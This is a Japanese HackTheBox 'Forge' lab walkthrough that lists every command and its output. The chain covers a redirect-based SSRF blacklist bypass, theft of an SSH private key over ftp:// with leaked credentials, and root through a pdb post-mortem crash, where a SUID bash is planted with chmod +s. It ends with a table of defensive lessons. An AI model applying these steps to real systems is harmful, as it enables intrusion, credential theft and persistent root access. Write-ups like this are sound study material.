HackTheBox: Forge — 全実行コマンド・実行結果レポート
Nmap スキャン
21(filtered)/22/80
→
21(filtered)/22/80
SSRF (/upload)
自前サーバ経由302リダイレクトでblacklist回避
→
自前サーバ経由302リダイレクトでblacklist回避
admin.forge.htb/announcements
内部FTP認証情報リーク
→
内部FTP認証情報リーク
ftp:// ラッパー再利用
SSH秘密鍵を平文取得
→
SSH秘密鍵を平文取得
SSH ログイン
user.txt ✓
→
user.txt ✓
sudo remote-manage.py
int()変換失敗でpdb.post_mortem()起動
→
int()変換失敗でpdb.post_mortem()起動
root PDBセッション → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmapバージョン・スクリプトスキャン
BASH
nmap -p 21,22,80 -sCV 10.129.67.195
RESULT
PORT STATE SERVICE VERSION 21/tcp filtered ftp 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Did not follow redirect to http://forge.htb
💡
ポート80は
forge.htbというvhostへリダイレクトする。
FTPがfiltered(応答なし、拒否パケットも返らない)であることから、
ファイアウォールがこのポートへの外部アクセスをブロックしている一方、
サービス自体は稼働している可能性が高い。/etc/hostsに
forge.htbを追記して調査を続ける。
追加vhostの発見
BASH
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ -u http://forge.htb/ -H 'Host: FUZZ.forge.htb' -fw 18
RESULT
admin [Status: 200, Size: 27, Words: 4, Lines: 2]
✅
admin.forge.htbという追加vhostを発見。/etc/hostsへ追記する。
PHASE 2
画像アップロードSSRFによるadmin.forge.htbのblacklist回避
admin.forge.htb は localhost限定でブロックされる
BASH
curl -s http://admin.forge.htb/ -H "Host: admin.forge.htb"
RESULT
Only localhost is allowed!
💡
Apacheの
Require ip 127.0.0.1相当の設定でアクセス元IPを制限している。
Kaliから直接アクセスしても拒否される。
/upload エンドポイントのSSRFブラックリストを確認
BASH
curl -s -X POST http://forge.htb/upload -d "url=http://admin.forge.htb/&remote=1"
RESULT
<h1>
<center>
<strong>URL contains a blacklisted address!</strong>
</center>
</h1>
🚨
/uploadはギャラリー画像をリモートURLから取得できるが、
admin.forge.htbを含むURLは文字列ベースのブラックリストで直接拒否される。
自前サーバ経由の302リダイレクトでブラックリストを回避
PYTHON
# 任意のURLへ302リダイレクトするだけの簡易サーバ
import http.server
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://admin.forge.htb/announcements")
self.end_headers()
http.server.HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()
BASH
# 自前サーバ(Kali)のURLをupload先として指定 curl -s -X POST http://forge.htb/upload -d "url=http://10.10.15.200:8888/&remote=1"
RESULT
<h1>
<center>
<strong>File uploaded successfully to the following url:</strong>
</center>
</h1>
<h1>
<center>
<strong><a href="http://forge.htb/uploads/2xGs3HMS2TKEnC1wCxO5">http://forge.htb/uploads/2xGs3HMS2TKEnC1wCxO5</a></strong>
</center>
</h1>
✅
ブラックリスト回避成功! 初回指定URL(
http://10.10.15.200:8888/)には
admin.forge.htbという文字列が含まれないためブラックリスト検査を通過する。
サーバ側のフェッチャーはこのURLへリクエストし、302のLocationヘッダに
従って最終的にadmin.forge.htbへアクセスするが、
この最終的な接続先までは検証されていない。
PHASE 3
内部FTP認証情報リーク → SSH秘密鍵窃取
announcementsページから内部FTP認証情報を取得
BASH
curl -s http://forge.htb/uploads/2xGs3HMS2TKEnC1wCxO5
RESULT
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
🚨
認証情報漏洩: 内部FTPサーバの認証情報
user:heightofsecurity123!
が平文で記載されている。またadmin.forge.htb自身の/uploadは
?u=<url>形式のGETリクエストでもURL取得を受け付けるという
重要なヒントも得られる。
SSRFを再利用し ftp:// ラッパーでSSH秘密鍵を窃取
NOTE
同じSSRF機構をもう一度使う。今度はリダイレクト先を 「admin.forge.htb自身のupload機能」を呼び出すURLに変更する: http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/.ssh/id_rsa これにより、forge.htbのフェッチャー → (302) → admin.forge.htb/upload?u=ftp://... → admin側のフェッチャーがFTP経由で127.0.0.1(=ターゲット自身)の .ssh/id_rsaを取得、という2段階のSSRFチェーンが成立する。 ftpサーバはユーザーのホームディレクトリで起動していると推測。
PYTHON
# リダイレクト先を変更して再度アップロードをトリガー # (redirect_serverのLocationヘッダを書き換えて再起動) Location: http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/.ssh/id_rsa
BASH
curl -s -X POST http://forge.htb/upload -d "url=http://10.10.15.200:8888/&remote=1" curl -s http://forge.htb/uploads/aluYqrMqISzoGhRVlMVX
RESULT
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3
...(省略)...
-----END OPENSSH PRIVATE KEY-----
✅
SSH秘密鍵の窃取に成功! ユーザー
userのホームディレクトリにある
.ssh/id_rsaをそのままFTP経由で読み取れた。
PHASE 4
SSH ログイン & user.txt 取得
秘密鍵でSSHログイン
BASH
curl -s http://forge.htb/uploads/aluYqrMqISzoGhRVlMVX > id_rsa chmod 600 id_rsa ssh -i id_rsa user@forge.htb "cat user.txt"
RESULT
c07d51252cb9d3f98f8f82d502d21b80
user.txt — user@forge
c07d51252cb9d3f98f8f82d502d21b80
PHASE 5
sudo権限調査 — remote-manage.py の脆弱性解析
sudo -l でNOPASSWD実行可能なスクリプトを確認
BASH
user@forge:~$ sudo -l
RESULT
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
remote-manage.py のソースコード解析
BASH
user@forge:~$ cat /opt/remote-manage.py
RESULT (抜粋)
port = random.randint(1025, 65535)
try:
sock = socket.socket(...)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
...
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
🚨
設計不備発見: メニュー選択を
int()で変換する際、
非数値を送るとValueErrorが発生する。この例外は
except Exceptionでキャッチされ、pdb.post_mortem()で
Pythonデバッガ(PDB)セッションが起動してしまう。スクリプトはroot権限で
実行されているため、PDBセッション内で任意のPythonコードを実行できれば
root権限のコード実行に直結する。
PHASE 6
2本のSSHセッションでPDBクラッシュを誘発 → root.txt
「本体」セッション: スクリプトをsudo実行しポート番号を把握
NOTE
重要な実装上の要点: pdb.post_mortem()が開くPDBセッションは、
ソケットのクライアント側にではなく、「sudo python3 remote-manage.py」
を実行したその端末自身の標準入出力に現れる。
そのため権限昇格には2本のSSH接続が必要になる:
(1) 本体セッション: スクリプトをsudo実行し続ける(PDBが出現する場所)
(2) トリガーセッション: 別のSSH接続からソケットへ接続し、
パスワード認証後に非数値を送ってクラッシュを誘発する
BASH
# SSHセッション1 (本体) user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
RESULT
Listening on localhost:28431
「トリガー」セッション: 別のSSH接続からクラッシュを誘発
NOTE
TCPストリームのメッセージ境界問題に注意: nc+printfで改行区切りの 複数行を一度にパイプすると、サーバー側の1回目のrecv()が両方の行を まとめて受信してしまいパスワードが一致しなくなる。 send() → sleep(0.5) → send() という順序で個別に送信する必要がある。
PYTHON
# SSHセッション2 (トリガー、別接続)
import socket, time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 28431))
s.recv(1024)
s.sendall(b'secretadminpassword\n')
time.sleep(0.5)
s.recv(4096)
s.sendall(b'a\n') # int()変換に失敗する非数値
time.sleep(0.5)
本体セッションにPDBセッションが出現
RESULT (本体セッション側の画面)
Listening on localhost:28431 invalid literal for int() with base 10: b'a' > /opt/remote-manage.py(27)<module>() -> option = int(clientsock.recv(1024).strip()) (Pdb)
✅
root権限のPDBセッションに到達! ここでPythonの任意コードを
インタラクティブに実行できる。
os.system() でコマンド実行 → root.txt 取得
BASH
(Pdb) import os
(Pdb) os.system('chmod +s /bin/bash')
(Pdb) os.system('cat /root/root.txt')
RESULT
5f80794d04b632fe6ccb471e6fe1499c
0
root.txt — root@forge
5f80794d04b632fe6ccb471e6fe1499c
💡
chmod +s /bin/bashでSUID bashを設置しておけば、PDBセッションを
抜けた後もbash -pでいつでもroot権限のシェルへ入れる。
今回はos.system()で直接root.txtをcatするだけでも十分。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — user@forge
c07d51252cb9d3f98f8f82d502d21b80
root.txt — root@forge
5f80794d04b632fe6ccb471e6fe1499c
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SSRF (blacklist bypass) | /upload エンドポイント | localhost限定vhostへのアクセス制御突破 | Critical | 自前サーバの302リダイレクトを経由し、初回URL文字列のみ検査する ブラックリストを回避してadmin.forge.htbへアクセス |
| 平文認証情報の記録 | admin.forge.htb/announcements | 内部FTPサーバへの認証 | High | SSRF経由で取得したページに平文パスワードが記載 |
| SSRF (ftp:// wrapperの悪用) | admin.forge.htb/upload の url取得機能 | SSH秘密鍵の窃取 (user.txt取得) | Critical | FTP認証情報を使い ftp://user:pass@127.0.0.1/.ssh/id_rsa を SSRF経由で取得 |
| pdb.post_mortem() の権限昇格 | /opt/remote-manage.py (sudo NOPASSWD) | 権限昇格 (root) | Critical | int()変換失敗の例外をpdb.post_mortem()がキャッチし root権限のインタラクティブPythonデバッガを起動してしまう |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + ffuf vhost fuzzing | forge.htb / admin.forge.htb を特定 |
| 2 | SSRF回避 | 自前サーバの302リダイレクト | admin.forge.htbのblacklistを回避 |
| 3 | 認証情報リーク | announcements + ftp://ラッパー再利用 | SSH秘密鍵 (user) 取得 |
| 4 | 初期アクセス | SSH鍵認証 | user.txt 取得 |
| 5 | 権限調査 | sudo -l + ソースコード解析 | pdb.post_mortem()の設計不備発見 |
| 6 | 権限昇格 | 2本のSSH接続でPDBクラッシュ誘発 | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SSRFブラックリストが初回指定URLの文字列のみを検査し、リダイレクト後の 最終接続先を検証していない | URL取得機能はリダイレクトを追従させない、または追従後の最終URLも 同じブラックリスト/ホワイトリストで再検証する。可能であれば 内部ネットワークへのアクセス自体をネットワークレベルで遮断する。 |
| 内部サービスの認証情報がアナウンスページに平文で記載されている | 認証情報は環境変数やシークレット管理システムで扱い、 アプリケーションのコンテンツに直接記載しない。 |
| SSH秘密鍵がFTP経由で誰でも読み取れる権限で配置されている | 秘密鍵のパーミッションを適切に設定し、FTPのようなアクセス制御の弱い サービスの公開範囲をホームディレクトリ全体に及ぼさないようにする。 |
| root権限で実行されるスクリプトの例外処理がpdb.post_mortem()を 呼び出しており、未処理の例外が直接インタラクティブなコード実行に繋がる | 本番運用スクリプトからデバッグ用のpdbインポート・呼び出しを完全に排除する。 例外処理は最小権限で行い、詳細なトレースバックや対話シェルを 本番環境で露出させない。 |

